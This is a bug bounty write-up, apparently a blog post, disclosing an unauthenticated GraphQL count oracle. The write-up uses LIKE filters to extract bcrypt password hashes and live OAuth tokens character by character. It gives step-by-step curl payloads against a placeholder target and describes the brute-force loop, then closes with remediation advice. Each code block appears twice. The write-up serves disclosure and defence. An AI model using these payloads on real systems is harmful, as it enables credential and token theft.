June 13, 2026
Blind Extraction of Password Hashes via an Unauthenticated GraphQL Count Oracle
High Severity Vulnerability with $XXX Bounty
M0n3m
3 min read
The Discovery
During a routine bug bounty assessment of a web platform's GraphQL API, I noticed something that at first looked mundane: an unauthenticated endpoint that returned a count value in response to user queries. No authentication header. No rate-limiting feedback. Just a clean JSON response with a number in it.
That number turned out to be the key to everything.
Understanding the Oracle
The endpoint accepted GraphQL queries with flexible filter conditions — including field comparisons using an EQUAL operator. Querying for a user by their numeric ID returned a predictable result:
{ "count": 1 }{ "count": 1 }That alone isn't alarming. But the endpoint also exposed a LIKE operator — the SQL-style wildcard pattern match — and crucially, it allowed that operator to be applied to sensitive fields including pass (the stored password hash) and OAuth token values.
The behavior that made this dangerous: the count response changed based on whether a supplied pattern prefix matched the underlying stored value.
- Prefix matches →
"count": 1 - Prefix doesn't match →
"count": 0
A binary signal. Reliable and unauthenticated. That's a textbook oracle.
Reproducing the Vulnerability
Step 1: Confirm the endpoint responds to unauthenticated queries
curl -s -X POST https://[target]/graphql \
-H "Content-Type: application/json" \
-d '{
"query":"{ userQuery(filter: {conditions: [
{field: \"uid\", value: [\"1\"], operator: EQUAL}
]}) { count } }"
}' | jqcurl -s -X POST https://[target]/graphql \
-H "Content-Type: application/json" \
-d '{
"query":"{ userQuery(filter: {conditions: [
{field: \"uid\", value: [\"1\"], operator: EQUAL}
]}) { count } }"
}' | jqExpected response:
{ "data": { "userQuery": { "count": 1 } } }{ "data": { "userQuery": { "count": 1 } } }This confirms the user with uid=1 exists and that no authentication is required.
Step 2: Apply the LIKE operator to the password hash field
curl -s -X POST https://[target]/graphql \
-H "Content-Type: application/json" \
-d '{
"query":"{ userQuery(filter: {conditions: [
{field: \"uid\", value: [\"1\"], operator: EQUAL},
{field: \"pass\", value: [\"$%\"], operator: LIKE}
]}) { count } }"
}' | jqcurl -s -X POST https://[target]/graphql \
-H "Content-Type: application/json" \
-d '{
"query":"{ userQuery(filter: {conditions: [
{field: \"uid\", value: [\"1\"], operator: EQUAL},
{field: \"pass\", value: [\"$%\"], operator: LIKE}
]}) { count } }"
}' | jqHere, $% is a LIKE pattern meaning "starts with $". Since bcrypt hashes universally begin with $, this immediately returns count: 1, confirming the oracle works.
Step 3: Refine the prefix character by character
curl -s -X POST https://[target]/graphql \
-H "Content-Type: application/json" \
-d '{
"query":"{ userQuery(filter: {conditions: [
{field: \"uid\", value: [\"10\"], operator: EQUAL},
{field: \"pass\", value: [\"$2Y$10$%\"], operator: LIKE}
]}) { count } }"
}' | jqcurl -s -X POST https://[target]/graphql \
-H "Content-Type: application/json" \
-d '{
"query":"{ userQuery(filter: {conditions: [
{field: \"uid\", value: [\"10\"], operator: EQUAL},
{field: \"pass\", value: [\"$2Y$10$%\"], operator: LIKE}
]}) { count } }"
}' | jq$2Y$10$ is the standard bcrypt prefix for cost-factor-10 hashes. When this returns count: 1, you've confirmed the hash algorithm and cost factor — and you have 7 characters for free based on bcrypt's known structure alone.
From here, the extraction loop is mechanical: for each position in the hash string, iterate through the bcrypt alphabet (A-Za-z0-9./) and append one character at a time. Whichever candidate causes count to flip from 0 to 1 is the correct character. Repeat until the full 60-character bcrypt hash is recovered.
$2Y$10$7R0BELGSBD1TUTNG8SYBOE...
↑ recovered character by character$2Y$10$7R0BELGSBD1TUTNG8SYBOE...
↑ recovered character by characterStep 4: The same technique applies to OAuth tokens
curl -s -X POST https://[target]/graphql \
-H "Content-Type: application/json" \
-d '{
"query":"{ oauth2TokenQuery(filter: {conditions: [
{field: \"client\", value: [\"3\"], operator: EQUAL},
{field: \"status\", value: [\"1\"], operator: EQUAL},
{field: \"value\", value: [\"prefix%\"], operator: LIKE}
]}) { count } }"
}' | jqcurl -s -X POST https://[target]/graphql \
-H "Content-Type: application/json" \
-d '{
"query":"{ oauth2TokenQuery(filter: {conditions: [
{field: \"client\", value: [\"3\"], operator: EQUAL},
{field: \"status\", value: [\"1\"], operator: EQUAL},
{field: \"value\", value: [\"prefix%\"], operator: LIKE}
]}) { count } }"
}' | jqBy fixing a client ID and filtering for active tokens (status: 1), an attacker can use the same count oracle to progressively narrow down the value of live OAuth tokens — without ever having been authenticated.
Why This Works (and Why It Shouldn't)
The root cause is a combination of three failures:
1. No authentication on a sensitive query endpoint. The GraphQL API exposed user data queries — including fields that store credentials — without requiring any session token or API key.
2. The LIKE operator was exposed on credential fields. GraphQL field-level filtering is a powerful feature, but applying pattern-match operators to fields like pass turns the database into an unwilling participant in data exfiltration.
3. Count-based responses as a covert channel. Even though the API never returned the password hash directly, the boolean signal embedded in count: 0 / count: 1 was sufficient to reconstruct it entirely. This is the classic definition of a blind injection oracle — the attacker never sees the sensitive value directly; they infer it through observable side effects.
The Extraction Complexity
A bcrypt hash is 60 characters drawn from an alphabet of ~64 characters. In the worst case, that's 60 × 64 = 3,840 HTTP requests to recover a single hash. In practice, the distribution isn't uniform (certain character ranges are more common), and automation brings this down further. On a modern connection with no rate limiting, this is achievable in minutes.
For OAuth tokens, the character space and token length vary — but the same principle holds.
The Actual Risk
Recovering a bcrypt hash doesn't immediately mean account takeover — bcrypt is designed to be slow to crack. But:
- The hashes can be taken offline and subjected to GPU-accelerated dictionary attacks
- High-privilege accounts (e.g., administrators) are disproportionately high-value targets
- OAuth token extraction is more immediately dangerous: those tokens are usable directly, without any cracking step
- The same oracle technique can also be used to enumerate user data fields beyond credentials — email addresses, usernames, and other PII stored in filterable fields
A vulnerability that requires effort is still a vulnerability — especially when the effort is automatable and scales with compute.
Remediation
The fix is layered:
- Require authentication on all GraphQL query endpoints that touch user data — even if they only return aggregate counts.
- Restrict filter operators on sensitive fields. The
LIKEoperator has no legitimate use case onpass,token, or any credential-adjacent column. - Implement field-level authorization in the GraphQL resolver layer, ensuring that even authenticated users can only filter on fields appropriate to their role.
- Add rate limiting to all GraphQL endpoints as defense-in-depth, regardless of authentication status.